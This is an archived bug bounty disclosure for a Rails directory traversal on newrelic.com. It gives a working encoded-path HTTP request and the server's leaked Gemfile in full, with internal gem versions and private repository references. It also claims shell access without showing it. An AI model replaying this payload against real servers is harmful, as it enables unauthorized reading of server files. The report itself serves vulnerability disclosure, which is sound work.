Lucene search

K
hackeroneFeelgoodH1:134032
HistoryApr 23, 2016 - 1:23 p.m.

New Relic: newrelic.com rails directory traversal vuln

2016-04-2313:23:49
feelgood
hackerone.com
33

4.3 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

NONE

Availability Impact

NONE

AV:N/AC:M/Au:N/C:P/I:N/A:N

0.003 Low

EPSS

Percentile

67.6%

details:

https://github.com/omarkurt/cve-2014-0130

POC:
GET /devops/%5c%2e%2e%2f%5c%2e%2e%2f%5c%2e%2e%2fGemfile HTTP/1.1
Cookie:
Host: newrelic.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21

Response:
source β€˜https://rubygems.org’ source β€˜https://[email protected]/newrelic/’ gem β€˜rails’, β€˜3.2.18’ gem β€˜haml’ gem β€˜newrelic_rpm’, β€˜3.9.5.251’ gem β€˜ignore_whitehat_transactions’ gem β€˜jquery-rails’, β€˜2.3.0’ gem β€˜jquery-ui-rails’ gem β€˜fancybox-rails’ gem β€˜masonry-rails’ #gem β€˜partner-api’, :git => β€˜[email protected]:newrelic/partner_api.git’, :branch => β€œv1.1.0” gem β€˜curb’, β€˜~> 0.8.4’ gem β€˜unicorn’ gem β€˜mysql2’, β€˜~> 0.3.11’ gem β€˜papers’ gem β€˜httparty’ gem β€˜insights_event’, β€˜~> 2.0.0’ gem β€˜dalli’ gem β€˜savon’, β€˜~>0.9.1’ gem β€œactiveadmin”, β€˜0.6.0’ gem β€˜rack-ssl-enforcer’ gem β€˜rack-attack’, β€˜~> 4.3.0’ gem β€˜dynamic_sitemaps’, β€˜1.0.8’ gem β€˜active_admin_importable’ gem β€˜rdiscount’ gem β€˜utf8-cleaner’ gem β€˜rack-cors’, require: β€˜rack/cors’ gem β€˜tzinfo’, β€˜0.3.37’ gem β€˜prismic.io’, β€˜~> 1.3.0’, require: β€˜prismic’ gem β€˜rack-rewrite’ gem β€˜guard_corgi’, β€˜~> 2.0.1’ gem β€˜faraday’ gem β€˜uuid’ gem β€˜analytics-ruby’, β€˜~> 2.0.0’, require: β€˜segment/analytics’ gem β€˜google_drive’ gem β€˜status_info’, β€˜~> 0.1.5’ group :deployment do gem β€˜centurion’ end group :development, :test, :www_test do gem β€˜ci_reporter’, β€˜~> 1.8.4’ gem β€˜selenium-webdriver’, β€˜~>2.29’ gem β€˜rspec’, β€˜~>2.12.0’ gem β€˜rspec-core’, β€˜~>2.12.0’ gem β€˜rspec-expectations’, β€˜~>2.12.0’ gem β€˜rspec-mocks’, β€˜~>2.12.0’ gem β€˜rspec-rails’, β€˜~>2.12.0’ gem β€˜simplecov’ gem β€˜capybara’ gem β€˜mocha’, :require => β€˜mocha/api’ # the require gets rid of the annoying mocha deprecation notices gem β€˜shoulda’ end group :test do gem β€˜vcr’ gem β€˜webmock’ gem β€˜sauce’ gem β€˜sauce-connect’ gem β€˜parallel_tests’ end group :development, :local_development do #gem β€˜debugger’ gem β€˜pry’ gem β€˜pry-nav’ gem β€˜guard’, β€˜~> 1.8.0’ gem β€˜guard-rspec’ gem β€˜guard-test’ gem β€˜guard-spork’ gem β€˜growl’ gem β€˜rb-fsevent’ #, :require => false if RUBY_PLATFORM =~ /darwin/i gem β€˜spork-rails’ gem β€˜better_errors’, β€˜~> 0.8.0’ gem β€˜binding_of_caller’ # this makes better_errors even better gem β€˜ruby-prof’ end group :gooddata_sync, :local_gooddata_sync do gem β€˜dropbox-sdk’ gem β€˜rubyzip’ end # Gems used only for assets and not required # in production environments by default. group :assets do gem β€˜sass-rails’, β€˜~> 3.2.6’ gem β€˜compass-rails’, β€˜~> 1.1.6’ gem β€˜coffee-rails’, β€˜~> 3.2.1’ gem β€˜execjs’ gem β€˜turbo-sprockets-rails3’ # See https://github.com/sstephenson/execjs#readme for more supported runtimes gem β€˜libv8’, β€˜~> 3.16.14.3’ gem β€˜therubyracer’, β€˜~> 0.12.0’, :platforms => :ruby gem β€˜uglifier’, β€˜>= 1.0.3’ gem β€˜bourbon’ gem β€˜neat’ end

It can cause a remote access to the server shell.

4.3 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

NONE

Availability Impact

NONE

AV:N/AC:M/Au:N/C:P/I:N/A:N

0.003 Low

EPSS

Percentile

67.6%